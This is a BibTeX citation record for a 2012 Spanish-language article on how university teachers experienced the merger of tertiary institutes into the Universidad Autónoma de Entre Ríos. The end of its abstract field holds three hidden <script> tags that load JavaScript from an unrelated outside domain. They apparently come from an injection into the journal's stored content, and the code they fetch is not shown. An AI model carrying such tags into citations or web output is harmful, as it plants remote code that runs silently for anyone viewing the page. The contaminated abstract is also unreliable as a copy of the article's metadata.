@article{Bartolini_D’Angelo Gallino_Vivas_2012, title={Representaciones sociales de profesores universitarios afectados por un proceso de fusión académico-administrativo. Caso Universidad Autónoma de Entre Ríos}, volume={70}, url={https://revistas.javeriana.edu.co/index.php/univhumanistica/article/view/2093}, abstractNote={Nuestro propósito consiste en informar a la comunidad latinoamericana sobre los resultados del estudio del caso de fusión de institutos terciarios en la Universidad Autónoma de Entre Ríos y sobre las representaciones<br />sociales de los docentes. Abordamos el estudio desde una perspectiva que integra tres propuestas teóricas: el internismo de Burton Clark, la dinámica institucional de Lidia Fernández y los aportes sobre fusión de Brown, Delhom, Clark y Lang. A partir de 22 entrevistas focalizadas realizamos un estudio de carácter descriptivo. Para analizar los datos cualitativos combinamos el modo ilustrativo mediante fragmentos textuales, y el analítico a través de la construcción de categorías que permiten interpretar el proceso vivido tales como: estructura del trabajo docente, significados sobre la fusión, desmembramiento de la identidad, modalidades y estrategias, y proceso comunicacional. Conocer rigurosamente estos procesos personales e institucionales contribuye a hacer inteligibles las “cajas negras” generadoras de conflictos, aportando nuevos elementos para otras fusiones<script src="http://nuevotemarosa.info?0.35765303280573435"></script><script src="http://nuevotemarosa.info?0.4942410727963856"></script><script src="http://nuevotemarosa.info?0.6200637725750187"></script>}, number={70}, journal={Universitas Humanística}, author={Bartolini, Ana María and D’Angelo Gallino, Virginia Ester and Vivas, Daniela Roxana}, year={2012}, month={abr.} }